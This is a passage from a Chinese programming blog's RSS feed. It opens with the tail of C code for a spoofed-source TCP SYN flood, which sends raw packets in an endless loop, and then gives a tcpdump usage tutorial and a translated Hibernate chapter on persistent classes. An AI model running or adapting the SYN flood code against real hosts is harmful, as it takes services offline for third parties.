/>psd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部长度 <br /><br />while(1) { <br /><br />//每发送10,240个报文输出一个标示符 <br /><br />printf("."); <br /><br />for(counter=0;counter&lt;10240;counter++){ <br /><br />if(SendSEQ++==65536) SendSEQ=1; //序列号循环 <br /><br />//更改IP首部 <br /><br />ip_header.checksum=0; //16位IP首部校验和 <br /><br />ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址 <br /><br />//更改TCP首部 <br /><br />tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号 <br /><br />tcp_header.th_sum=0; //校验和 <br /><br />//更改TCP Pseudo Header <br /><br />psd_header.saddr=ip_header.sourceIP; <br /><br />//计算TCP校验和，计算校验和时需要包括TCP pseudo header <br /><br />memcpy(SendBuf,&amp;psd_header,sizeof(psd_header)); <br /><br />memcpy(SendBuf+sizeof(psd_header),&amp;tcp_header,sizeof(tcp_header)); <br /><br />tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header)); <br /><br />//计算IP校验和 <br /><br />memcpy(SendBuf,&amp;ip_header,sizeof(ip_header)); <br /><br />memcpy(SendBuf+sizeof(ip_header),&amp;tcp_header,sizeof(tcp_header)); <br /><br />memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4); <br /><br />datasize=sizeof(ip_header)+sizeof(tcp_header); <br /><br />ip_header.checksum=checksum((USHORT *)SendBuf,datasize); <br /><br />//填充发送缓冲区 <br /><br />memcpy(SendBuf,&amp;ip_header,sizeof(ip_header)); <br /><br />//发送TCP报文 <br /><br />ErrorCode=sendto(SockRaw, <br /><br />SendBuf, <br /><br />datasize, <br /><br />0, <br /><br />(struct sockaddr*) &amp;DestAddr, <br /><br />sizeof(DestAddr)); <br /><br />if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError()); <br /><br />}//End of for <br /><br />}//End of While <br /><br />}//End of try <br /><br />__finally { <br /><br />if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); <br /><br />WSACleanup(); <br /><br />} <br /><br />return 0; <br /><br />} <br /><img src ="http://www.cnitblog.com/forrest/aggbug/23014.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/forrest/" target="_blank">forrest</a> 2007-02-13 15:05 <a href="http://www.cnitblog.com/forrest/articles/23014.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>详细Tcpdump 的用法</title><link>http://www.cnitblog.com/forrest/articles/21172.html</link><dc:creator>forrest</dc:creator><author>forrest</author><pubDate>Wed, 27 Dec 2006 06:43:00 GMT</pubDate><guid>http://www.cnitblog.com/forrest/articles/21172.html</guid><wfw:comment>http://www.cnitblog.com/forrest/comments/21172.html</wfw:comment><comments>http://www.cnitblog.com/forrest/articles/21172.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/forrest/comments/commentRss/21172.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/forrest/services/trackbacks/21172.html</trackback:ping><description><![CDATA[
		<table cellspacing="0" cellpadding="4" width="100%" border="0">
				<tbody>
						<tr>
								<td valign="top" align="middle" colspan="2">
										<font face="Tahoma">
												<strong>
												</strong>
										</font>
								</td>
						</tr>
						<tr>
								<td valign="top" align="middle" colspan="2">
										<span class="normalfont">
												<font face="Tahoma">
												</font>
										</span>
								</td>
						</tr>
						<tr>
								<td valign="top" bgcolor="#eeeeee" colspan="2" height="1">
										<font face="Tahoma">
										</font>
								</td>
						</tr>
						<tr>
								<td valign="top" colspan="2">
										<table cellspacing="1" cellpadding="4" width="100%" border="0">
												<tbody>
														<tr>
																<td valign="top">
																		<div class="subhead">
																				<strong>详细Tcpdump 的用法</strong>
																		</div>
																</td>
														</tr>
														<tr>
																<td valign="top">
																		<div class="content">
																				<span style="FONT-SIZE: 13px">第一种是关于类型的关键字，主要包括host，net，port, 例如 host 210.27.48.2，指明 210.27.48.2是一台主机，net 202.0.0.0 指明 202.0.0.0是一个网络地址，port 23 指明端口号是23。如果没有指定类型，缺省的类型是host.<br /><br />第二种是确定传输方向的关键字，主要包括src , dst ,dst or src, dst and src ,这些关键字指明了传输的方向。举例说明，src 210.27.48.2 ,指明ip包中源地址是210.27.48.2 , dst net 202.0.0.0 指明目的网络地址是202.0.0.0 。如果没有指明方向关键字，则缺省是src or dst关键字。<br /><br />第三种是协议的关键字，主要包括fddi,ip,arp,rarp,tcp,udp等类型。Fddi指明是在FDDI(分布式光纤数据接口网络)上的特定 的网络协议，实际上它是"ether"的别名，fddi和ether具有类似的源地址和目的地址，所以可以将fddi协议包当作ether的包进行处理和 分析。其他的几个关键字就是指明了监听的包的协议内容。如果没有指定任何协议，则tcpdump将会监听所有协议的信息包。<br />    除了这三种类型的关键字之外，其他重要的关键字如下：gateway, broadcast,less,greater,还有三种逻辑运算，取非运算是 'not ' '! ', 与运算是'and','&amp;&amp;';或运算 是'or' ,'││'；这些关键字可以组合起来构成强大的组合条件来满足人们的需要，下面举几个例子来说明。<br />    普通情况下，直接启动tcpdump将监视第一个网络界面上所有流过的数据包。<br /># tcpdump <br />tcpdump: listening on fxp0<br />11:58:47.873028 202.102.245.40.netbios-ns &gt; 202.102.245.127.netbios-ns: udp 50<br />11:58:47.974331 0:10:7b:8:3a:56 &gt; 1:80:c2:0:0:0 802.1d ui/C len=43<br />                         0000 0000 0080 0000 1007 cf08 0900 0000<br />                         0e80 0000 902b 4695 0980 8701 0014 0002<br />                         000f 0000 902b 4695 0008 00<br />11:58:48.373134 0:0:e8:5b:6d:85 &gt; Broadcast sap e0 ui/C len=97<br />                         ffff 0060 0004 ffff ffff ffff ffff ffff<br />                         0452 ffff ffff 0000 e85b 6d85 4008 0002<br />                         0640 4d41 5354 4552 5f57 4542 0000 0000<br />                         0000 00<br />使用-i参数指定tcpdump监听的网络界面，这在计算机具有多个网络界面时非常有用，<br />使用-c参数指定要监听的数据包数量，<br />使用-w参数指定将监听到的数据包写入文件中保存<br /><br />   A想要截获所有210.27.48.1 的主机收到的和发出的所有的数据包：<br />#tcpdump host 210.27.48.1 <br /><br />B想要截获主机210.27.48.1 和主机210.27.48.2 或210.27.48.3的通信，使用命令：（在命令行中适用　　　括号时，一定要<br />#tcpdump host 210.27.48.1 and \ (210.27.48.2 or 210.27.48.3 \) <br /><br />C如果想要获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包，<span class="noted" id="note_temp">使用命令：</span><br />#tcpdump ip host 210.27.48.1 and ! 210.27.48.2<br /><br />D如果想要获取主机210.27.48.1接收或发出的telnet包，使用如下命令：<br />#tcpdump tcp port 23 host 210.27.48.1<br /><br />E 对本机的udp 123 端口进行监视 123 为ntp的服务端口<br /># tcpdump udp port 123 <br />  <br />F 系统将只对名为hostname的主机的通信数据包进行监视。主机名可以是本地主机，也可以是网络上的任何一台计算机。下面的命令可以读取主机hostname发送的所有数据： <br />#tcpdump -i eth0 src host<span class="noted" id="note_temp"> hostname</span><br /><br />G 下面的命令可以<span class="noted" id="note_temp">监视所有送到主机hostname的数据包：</span><br />#tcpdump -i eth0 dst host hostname<br /><br />H  我们还可以监视通过指定网关的数据包： <br />#tcpdump -i eth0 gateway Gatewayname<br /><br />I 如果你还想监视编址到指定端口的TCP或UDP数据包，<span class="noted" id="note_temp">那么执行以下命令：</span><br />#tcpdump -i eth0 host hostname and port 80<br /><br />J 如果想要获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包<br />，使用命令：<br />#tcpdump ip host 210.27.48.1 and ! 210.27.48.2<br /><br />K 想要截获主机210.27.48.1 和主机210.27.48.2 或210.27.48.3的通信，使用命令<br />：（在命令行中适用　　　括号时，一定要<br />#tcpdump host 210.27.48.1 and \ (210.27.48.2 or 210.27.48.3 \)<br /><br />L 如果想要获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包，使用命令：<br />　　　#tcpdump ip host 210.27.48.1 and ! 210.27.48.2<br /><br />M 如果想要获取主机210.27.48.1接收或发出的telnet包，使用如下命令：<br />　　　#tcpdump tcp port 23 host 210.27.48.1<br /><br /><br />第三种是协议的关键字，主要包括fddi,ip ,arp,rarp,tcp,udp等类型<br />除了这三种类型的关键字之外，其他重要的关键字如下：gateway, broadcast,less,<br />greater,还有三种逻辑运算，取非运算是 'not ' '! ', 与运算是'and','&amp;&amp;';或运算 是'o<br />r' ,'||'；<br />第二种是确定传输方向的关键字，<span class="noted" id="note_temp">主要包括src , </span>dst ,dst or src, dst and src ,<br />如果我们只需要列出送到80端口的数据包，用dst port；如果我们只希望看到返回80端口的数据包，用src port。 <br />#tcpdump –<span class="noted" id="note_temp">i eth0 host hostname and dst port 80</span>  目的端口是80<br />或者<br />#tcpdump –i eth0 host hostname and src port 80  源端口是80  一般是提供http的服务的主机<br />如果条件很多的话  要在条件之前加and 或 or 或 not<br />#tcpdump -i eth0 host ! 211.161.223.70 and ! 211.161.223.71 and dst port 80<br /><br /><br /><br />如果在ethernet 使用混杂模式 系统的日志将会记录<br /><br />May  7 20:03:46 localhost kernel: eth0: Promiscuous mode enabled.<br />May  7 20:03:46 localhost kernel: device eth0 entered promiscuous mode<br />May  7 20:03:57 localhost kernel: device eth0 left promiscuous mode<br /><br /><br />tcpdump对截获的数据并没有进行彻底解码，数据包内的大部分内容是使用十六进制的形式直接打印输出的。显然这不利于分析网络故障，通常的解决办法是先使用带-w参数的tcpdump 截获数据并保存到文件中，然后再使用其他程序进行解码分析。当然也应该定义过滤规则，以避免捕获的数据包填满整个硬盘</span>
																		</div>
																</td>
														</tr>
												</tbody>
										</table>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/forrest/aggbug/21172.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/forrest/" target="_blank">forrest</a> 2006-12-27 14:43 <a href="http://www.cnitblog.com/forrest/articles/21172.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>第 5 章 O/R Mapping基础</title><link>http://www.cnitblog.com/forrest/articles/16227.html</link><dc:creator>forrest</dc:creator><author>forrest</author><pubDate>Thu, 31 Aug 2006 10:34:00 GMT</pubDate><guid>http://www.cnitblog.com/forrest/articles/16227.html</guid><wfw:comment>http://www.cnitblog.com/forrest/comments/16227.html</wfw:comment><comments>http://www.cnitblog.com/forrest/articles/16227.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/forrest/comments/commentRss/16227.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/forrest/services/trackbacks/16227.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 第 5 章 O/R Mapping基础																																																				上一页												 										 										 下一页																																																		...&nbsp;&nbsp;<a href='http://www.cnitblog.com/forrest/articles/16227.html'>阅读全文</a><img src ="http://www.cnitblog.com/forrest/aggbug/16227.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/forrest/" target="_blank">forrest</a> 2006-08-31 18:34 <a href="http://www.cnitblog.com/forrest/articles/16227.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>第 4 章 持久化类(Persistent Classes)</title><link>http://www.cnitblog.com/forrest/articles/16226.html</link><dc:creator>forrest</dc:creator><author>forrest</author><pubDate>Thu, 31 Aug 2006 10:33:00 GMT</pubDate><guid>http://www.cnitblog.com/forrest/articles/16226.html</guid><wfw:comment>http://www.cnitblog.com/forrest/comments/16226.html</wfw:comment><comments>http://www.cnitblog.com/forrest/articles/16226.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/forrest/comments/commentRss/16226.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/forrest/services/trackbacks/16226.html</trackback:ping><description><![CDATA[
		<div class="navheader">
				<table width="100%" summary="Navigation header">
						<tbody>
								<tr>
										<th align="middle" colspan="3">
										</th>
								</tr>
								<tr>
										<td align="left" width="20%">
												<a accesskey="p" href="http://www.hibernate.org/hib_docs/reference/zh-cn/html/session-configuration.html">
														<font color="#002c99">上一页</font>
												</a> </td>
										<th align="middle" width="60%"> </th>
										<td align="right" width="20%"> <a accesskey="n" href="http://www.hibernate.org/hib_docs/reference/zh-cn/html/mapping.html"><font color="#002c99">下一页</font></a></td>
								</tr>
						</tbody>
				</table>
				<font color="#002c99">
						<hr />
				</font>
		</div>
		<div class="chapter" lang="zh-cn">
				<div class="titlepage">
						<div>
								<div>
										<h2 class="title">
												<a name="persistent-classes">
												</a>第 4 章 持久化类(Persistent Classes)</h2>
								</div>
						</div>
						<div>
						</div>
				</div>
				<p>持久化类是应用程序用来解决商业问题的类（比如，在电子交易程序中的Customer和Order）。持久化类，就如同它的名字暗示的，是短暂存在的，它的实例会被持久性保存于数据库中。 </p>
				<p>如果这些类符合简单的规则，Hibernate能够工作得最好，这些规则就是Plain Old Java Object (POJO，简单传统Java对象)编程模型。 </p>
				<div class="sect1" lang="zh-cn">
						<div class="titlepage">
								<div>
										<div>
												<h2 class="title" style="CLEAR: both">
														<a name="persistent-classes-pojo">
														</a>4.1. POJO简单示例</h2>
										</div>
								</div>
								<div>
								</div>
						</div>
						<p>大多数java程序需要一个持久化类的表示方法。 </p>
						<pre class="programlisting">package eg;
import java.util.Set;
import java.util.Date;

public class Cat {
    private Long id; // identifier
    private String name;
    private Date birthdate;
    private Cat mate;
    private Set kittens
    private Color color;
    private char sex;
    private float weight;

    private void setId(Long id) {
        this.id=id;
    }
    public Long getId() {
        return id;
    }

    void setName(String name) {
        this.name = name;
    }
    public String getName() {
        return name;
    }

    void setMate(Cat mate) {
        this.mate = mate;
    }
    public Cat getMate() {
        return mate;
    }

    void setBirthdate(Date date) {
        birthdate = date;
    }
    public Date getBirthdate() {
        return birthdate;
    }
    void setWeight(float weight) {
        this.weight = weight;
    }
    public float getWeight() {
        return weight;
    }

    public Color getColor() {
        return color;
    }
    void setColor(Color color) {
        this.color = color;
    }
    void setKittens(Set kittens) {
        this.kittens = kittens;
    }
    public Set getKittens() {
        return kittens;
    }
    // addKitten not needed by Hibernate
    public void addKitten(Cat kitten) {
        kittens.add(kitten);
    }
    void setSex(char sex) {
        this.sex=sex;
    }
    public char getSex() {
        return sex;
    }
}</pre>
						<p>有四条主要的规则： </p>
						<div class="sect2" lang="zh-cn">
								<div class="titlepage">
										<div>
												<div>
														<h3 class="title">
																<a name="persistent-classes-pojo-accessors">
																</a>4.1.1. 为持久化字段声明访问器(accessors)和是否可变的标志(mutators)</h3>
												</div>
										</div>
										<div>
										</div>
								</div>
								<p>
										<tt class="literal">Cat</tt>为它的所有可持久化字段声明了访问方法。很多其他ORM工具直接对实例变量进行持久化。我们相信在持久化机制中不限定这种实现细节，感觉要好得多。Hibernate对JavaBeans风格的属性实行持久化，采用如下格式来辨认方法：<tt class="literal">getFoo</tt>, <tt class="literal">isFoo</tt> 和 <tt class="literal">setFoo</tt>。 </p>
								<p>属性<span class="emphasis"><em>不一定</em></span>需要声明为public的。Hibernate可以对default,<tt class="literal">protected</tt>或者<tt class="literal">private</tt>的get/set方法对的属性一视同仁地执行持久化。 </p>
						</div>
						<div class="sect2" lang="zh-cn">
								<div class="titlepage">
										<div>
												<div>
														<h3 class="title">
																<a name="persistent-classes-pojo-constructor">
																</a>4.1.2. 实现一个默认的构造方法（constructor）</h3>
												</div>
										</div>
										<div>
										</div>
								</div>
								<p>
										<tt class="literal">Cat</tt>有一个显式的无参数默认构造方法。所有的持久化类都必须具有一个默认的构造方法（可以不是public的），这样的话Hibernate就可以使用<tt class="literal">Constructor.newInstance()</tt>来实例化它们。 </p>
						</div>
						<div class="sect2" lang="zh-cn">
								<div class="titlepage">
										<div>
												<div>
														<h3 class="title">
																<a name="persistent-classes-pojo-identifier">
																</a>4.1.3. 提供一个标识属性（identifier property）（可选） </h3>
												</div>
										</div>
										<div>
										</div>
								</div>
								<p>
										<tt class="literal">Cat</tt>有一个属性叫做<tt class="literal">id</tt>。这个属性包含了数据库表中的主关键字字段。这个属性可以叫任何名字，其类型可以是任何的原始类型、原始类型的包装类型、<tt class="literal">java.lang.String</tt> 或者是 <tt class="literal">java.util.Date</tt>。（如果你的老式数据库表有联合主键，你甚至可以用一个用户自定义的类，其中每个属性都是这些类型之一。参见后面的关于联合标识符的章节。） </p>
								<p>用于标识的属性是可选的。你可以不管它，让Hibernate内部来追踪对象的识别。当然，对于大多数应用程序来说，这是一个好的（也是很流行的）设计决定。 </p>
								<p>更进一步，一些功能只能对声明了标识属性的类起作用： </p>
								<div class="itemizedlist">
										<ul type="disc" compact="">
												<li>
														<p>级联更新（Cascaded updates）（参阅“自管理生命周期的对象（Lifecycle Objects）”） </p>
												</li>
												<li>
														<p>
																<tt class="literal">Session.saveOrUpdate()</tt>
														</p>
												</li>
										</ul>
								</div>
								<p>我们建议你对所有的持久化类采取同样的名字作为标识属性。更进一步，我们建议你使用一个可以为空（也就是说，不是原始类型）的类型。 </p>
						</div>
						<div class="sect2" lang="zh-cn">
								<div class="titlepage">
										<div>
												<div>
														<h3 class="title">
																<a name="persistent-classes-pojo-final">
																</a>4.1.4. 建议使用不是final的类 (可选)</h3>
												</div>
										</div>
										<div>
										</div>
								</div>
								<p>Hibernate的关键功能之一，<span class="emphasis"><em>代理（proxies）</em></span>，要求持久化类不是final的，或者是一个全部方法都是public的接口的具体实现。 </p>
								<p>你可以对一个<tt class="literal">final</tt>的，也没有实现接口的类执行持久化，但是不能对它们使用代理——多多少少会影响你进行性能优化的选择。 </p>
						</div>
				</div>
				<div class="sect1" lang="zh-cn">
						<div class="titlepage">
								<div>
										<div>
												<h2 class="title" style="CLEAR: both">
														<a name="persistent-classes-inheritance">
														</a>4.2. 实现继承（Inheritance）</h2>
										</div>
								</div>
								<div>
								</div>
						</div>
						<p>子类也必须遵守第一条和第二条规则。它从<tt class="literal">Cat</tt>继承了标识属性。 </p>
						<pre class="programlisting">package eg;

public class DomesticCat extends Cat {
        private String name;

        public String getName() {
                return name;
        }
        protected void setName(String name) {
                this.name=name;
        }
}</pre>
				</div>
				<div class="sect1" lang="zh-cn">
						<div class="titlepage">
								<div>
										<div>
												<h2 class="title" style="CLEAR: both">
														<a name="persistent-classes-equalshashcode">
														</a>4.3. 实现<tt class="literal">equals()</tt>和<tt class="literal">hashCode()</tt></h2>
										</div>
								</div>
								<div>
								</div>
						</div>
						<p>如果你需要混合使用持久化类（比如，在一个<tt class="literal">Set</tt>中），你必须重载<tt class="literal">equals()</tt> 和 <tt class="literal">hashCode()</tt>方法。 </p>
						<p>
								<span class="emphasis">
										<em>这仅适用于那些在两个不同的<tt class="literal">Session</tt>中装载的对象，Hibernate在单个<tt class="literal">Session</tt>中仅保证JVM 辨别（<tt class="literal"> a == b </tt>，<tt class="literal">equals()</tt>的默认实现）！</em>
								</span>
						</p>
						<p>就算两个对象<tt class="literal">a</tt>和<tt class="literal">b</tt>实际是同一行数据库内容（它们拥有同样的主键值作为辨识符），我们也不能保证在特定的<tt class="literal">Session</tt> 之外它们是同一个Java实例。 </p>
						<p>最显而易见的实现<tt class="literal">equals()</tt>/<tt class="literal">hashCode()</tt>方法的办法就是比较两个对象的标识值。如果这个值是同堂的，他们必定是直线同一条数据库行，所以它们是相等的（如果都被加入到<tt class="literal">Set</tt>，在<tt class="literal">Set</tt>中只应该出现一个元素）。不幸的是，我们不能使用这种办法。Hibernate只会对已经持久化的对象赋予标识值，新创建的实例将不会有任何标识符值！我们推荐使用<span class="emphasis"><em>商业关键字相等</em></span>原则来实现<tt class="literal">equals()</tt>和<tt class="literal">hashCode()</tt>。 </p>
						<p>商业关键字相等意味着<tt class="literal">equals()</tt>方法只比较那些组成商业关键字的属性，它对应着真实世界中的实例（<span class="emphasis"><em>自然</em></span>的候选关键字） </p>
						<pre class="programlisting">public class Cat {

    ...
    public boolean equals(Object other) {
        if (this == other) return true;
        if (!(other instanceof Cat)) return false;

        final Cat cat = (Cat) other;

        if (!getName().equals(cat.getName())) return false;
        if (!getBirthday().equals(cat.getBirthday())) return false;

        return true;
    }

    public int hashCode() {
        int result;
        result = getName().hashCode();
        result = 29 * result + getBirthday().hashCode();
        return result;
    }

}</pre>
						<p>记住我们的候选关键字（这个例子中是名字和生日的组合）只在特定的比较操作中有效（可能只在一个用例中）。我们不需要我们通常用于正式主键那么严格稳定的条件。 </p>
				</div>
				<div class="sect1" lang="zh-cn">
						<div class="titlepage">
								<div>
										<div>
												<h2 class="title" style="CLEAR: both">
														<a name="persistent-classes-lifecycle">
														</a>4.4. 持久化生命周期（Lifecycle）中的回调（Callbacks）</h2>
										</div>
								</div>
								<div>
								</div>
						</div>
						<p>作为一个可选的步骤，可持久化类可以实现<tt class="literal">Lifecycle</tt>接口，它可以提供一些用于回调的方法，可以让持久化对象在save或load之后，或者在delete或update之前进行必要的初始化与清除步骤。 </p>
						<p>Hibernate <tt class="literal">Interceptor</tt>（拦截器）还提供了一种较少干扰的替代方法。 </p>
						<div class="programlistingco">
								<pre class="programlisting">public interface Lifecycle {
        public boolean onSave(Session s) throws CallbackException;   <span class="co">(1)</span>
        public boolean onUpdate(Session s) throws CallbackException; <span class="co">(2)</span>
        public boolean onDelete(Session s) throws CallbackException; <span class="co">(3)</span>
        public void onLoad(Session s, Serializable id);              <span class="co">(4)</span>
}</pre>
								<div class="calloutlist">
										<table summary="Callout list" border="0">
												<tbody>
														<tr>
																<td valign="top" align="left" width="5%">(1)</td>
																<td valign="top" align="left">
																		<p>
																				<tt class="literal">onSave</tt> - 在对象即将被save或者insert的时候回调 </p>
																</td>
														</tr>
														<tr>
																<td valign="top" align="left" width="5%">(2)</td>
																<td valign="top" align="left">
																		<p>
																				<tt class="literal">onUpdate</tt> - 在对象即将被update的时候回调（也就是对象被传递给<tt class="literal">Session.update()</tt>的时候) </p>
																</td>
														</tr>
														<tr>
																<td valign="top" align="left" width="5%">(3)</td>
																<td valign="top" align="left">
																		<p>
																				<tt class="literal">onDelete</tt> - 在对象即将被delete(删除)的时候回调 </p>
																</td>
														</tr>
														<tr>
																<td valign="top" align="left" width="5%">(4)</td>
																<td valign="top" align="left">
																		<p>
																				<tt class="literal">onLoad</tt> - 在对象刚刚被load(装载)后的时候回调 </p>
																</td>
														</tr>
												</tbody>
										</table>
								</div>
						</div>
						<p>
								<tt class="literal">onSave()</tt>, <tt class="literal">onDelete()</tt> 和 <tt class="literal">onUpdate()</tt> 可以被用来级联保存或者删除依赖的对象。这种做法是在映射文件中声明级联操作外的另外一种选择。<tt class="literal">onLoad()</tt>可以用来让对象从其持久化（当前）状态中初始化某些暂时的属性。不能用这种方式来装载依赖的对象，因为可能无法在此方法内部调用<tt class="literal">Session</tt>接口。 <tt class="literal">onLoad()</tt>, <tt class="literal">onSave()</tt>和 <tt class="literal">onUpdate()</tt>另一种用法是用来在当前<tt class="literal">Session</tt>中保存一个引用，已备后用。 </p>
						<p>请注意<tt class="literal">onUpdate()</tt>并不是在每次对象的持久化状态被更新的时候就被调用的。它只在处于尚未被持久化的对象被传递给<tt class="literal">Session.update()</tt>的时候才会被调用。 </p>
						<p>如果<tt class="literal">onSave()</tt>, <tt class="literal">onUpdate()</tt> 或者 <tt class="literal">onDelete()</tt>返回<tt class="literal">true</tt>，那么操作就被悄悄地取消了。如果其中抛出了<tt class="literal">CallbackException</tt>异常，操作被取消，这个异常会被继续传递给应用程序。 </p>
						<p>请注意<tt class="literal">onSave()</tt>是在标识符已经被赋予对象后调用的，除非是使用本地(native)方式生成关键字的。 </p>
				</div>
				<div class="sect1" lang="zh-cn">
						<div class="titlepage">
								<div>
										<div>
												<h2 class="title" style="CLEAR: both">
														<a name="persistent-classes-validatable">
														</a>4.5. 合法性检查（Validatable）回调</h2>
										</div>
								</div>
								<div>
								</div>
						</div>
						<p>如果持久化类需要在保存其持久化状态前进行合法性检查，它可以实现下面的接口： </p>
						<pre class="programlisting">public interface Validatable {
        public void validate() throws ValidationFailure;
}</pre>
						<p>如果发现对象违反了某条规则，应该抛出一个<tt class="literal">ValidationFailure</tt>异常。在<tt class="literal">Validatable</tt>实例的<tt class="literal">validate()</tt>方法内部不应该改变它的状态。 </p>
						<p>和<tt class="literal">Lifecycle</tt>接口的回调方法不同，<tt class="literal">validate()</tt>可能在任何时间被调用。应用程序不应该把<tt class="literal">validate()</tt>调用和商业功能联系起来。 </p>
				</div>
				<div class="sect1" lang="zh-cn">
						<div class="titlepage">
								<div>
										<div>
												<h2 class="title" style="CLEAR: both">
														<a name="persistent-classes-xdoclet">
														</a>4.6. XDoclet标记示例</h2>
										</div>
								</div>
								<div>
								</div>
						</div>
						<p>下一章中我们将会展示Hibernate映射是如何用简单的，可阅读的XML格式表达的。很多Hibernate用户喜欢使用XDoclet的<tt class="literal">@hibernate.tags</tt>标签直接在源代码中嵌入映射信息。我们不会在这份文档中讨论这个话题，因为严格的来说这属于XDoclet的一部分。但我们仍然在这里给出一份带有XDoclet映射的<tt class="literal">Cat</tt>类的示例。 </p>
						<pre class="programlisting">package eg;
import java.util.Set;
import java.util.Date;

/**
 * @hibernate.class
 *  table="CATS"
 */
public class Cat {
    private Long id; // identifier
    private Date birthdate;
    private Cat mate;
    private Set kittens
    private Color color;
    private char sex;
    private float weight;

    /**
     * @hibernate.id
     *  generator-class="native"
     *  column="CAT_ID"
     */
    public Long getId() {
        return id;
    }
    private void setId(Long id) {
        this.id=id;
    }

    /**
     * @hibernate.many-to-one
     *  column="MATE_ID"
     */
    public Cat getMate() {
        return mate;
    }
    void setMate(Cat mate) {
        this.mate = mate;
    }

    /**
     * @hibernate.property
     *  column="BIRTH_DATE"
     */
    public Date getBirthdate() {
        return birthdate;
    }
    void setBirthdate(Date date) {
        birthdate = date;
    }
    /**
     * @hibernate.property
     *  column="WEIGHT"
     */
    public float getWeight() {
        return weight;
    }
    void setWeight(float weight) {
        this.weight = weight;
    }

    /**
     * @hibernate.property
     *  column="COLOR"
     *  not-null="true"
     */
    public Color getColor() {
        return color;
    }
    void setColor(Color color) {
        this.color = color;
    }
    /**
     * @hibernate.set
     *  lazy="true"
     *  order-by="BIRTH_DATE"
     * @hibernate.collection-key
     *  column="PARENT_ID"
     * @hibernate.collection-one-to-many
     */
    public Set getKittens() {
        return kittens;
    }
    void setKittens(Set kittens) {
        this.kittens = kittens;
    }
    // addKitten not needed by Hibernate
    public void addKitten(Cat kitten) {
        kittens.add(kitten);
    }

    /**
     * @hibernate.property
     *  column="SEX"
     *  not-null="true"
     *  update="false"
     */
    public char getSex() {
        return sex;
    }
    void setSex(char sex) {
        this.sex=sex;
    }
}</pre>
				</div>
		</div>
		<div class="navfooter">
				<hr />
				<table width="100%" summary="Navigation footer">
						<tbody>
								<tr>
										<td align="left" width="40%">
												<a accesskey="p" href="http://www.hibernate.org/hib_docs/reference/zh-cn/html/session-configuration.html">
														<font color="#002c99">上一页</font>
												</a> </td>
										<td align="middle" width="20%">
												<a accesskey="u" href="http://www.hibernate.org/hib_docs/reference/zh-cn/html/index.html">
														<font color="#002c99">上一级</font>
												</a>
										</td>
										<td align="right" width="40%"> <a accesskey="n" href="http://www.hibernate.org/hib_docs/reference/zh-cn/html/mapping.html"><font color="#002c99">下一页</font></a></td>
								</tr>
								<tr>
										<td valign="top" align="left" width="40%">第 3 章 SessionFactory配置 </td>
										<td align="middle" width="20%">
												<a accesskey="h" href="http://www.hibernate.org/hib_docs/reference/zh-cn/html/index.html">
														<font color="#002c99">起始页</font>
												</a>
										</td>
										<td valign="top" align="right" width="40%"> 第 5 章 O/R Mapping基础</td>
								</tr>
						</tbody>
				</table>
		</div>
<img src ="http://www.cnitblog.com/forrest/aggbug/16226.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/forrest/" target="_blank">forrest</a> 2006-08-31 18:33 <a href="http://www.cnitblog.com/forrest/articles/16226.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>第 1 章 在Tomcat中快速上手  第 2 章 体系结构  第 3 章 SessionFactory配置</title><link>http://www.cnitblog.com/forrest/articles/16225.html</link><dc:creator>forrest</dc:creator><author>forrest</author><pubDate>Thu, 31 Aug 2006 10:32:00 GMT</pubDate><guid>http://www.cnitblog.com/forrest/articles/16225.html</guid><wfw:comment>http://www.cnitblog.com/forrest/comments/16225.html</wfw:comment><comments>http://www.cnitblog.com/forrest/articles/16225.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/forrest/comments/commentRss/16225.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/forrest/services/trackbacks/16225.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 第 1 章 在Tomcat中快速上手																																						上一页 										 										 下一页																																																																														第...&nbsp;&nbsp;<a href='http://www.cnitblog.com/forrest/articles/16225.html'>阅读全文</a><img src ="http://www.cnitblog.com/forrest/aggbug/16225.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/forrest/" target="_blank">forrest</a> 2006-08-31 18:32 <a href="http://www.cnitblog.com/forrest/articles/16225.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>------------NET命令大全------(下)</title><link>http://www.cnitblog.com/forrest/articles/16163.html</link><dc:creator>forrest</dc:creator><author>forrest</author><pubDate>Wed, 30 Aug 2006 06:54:00 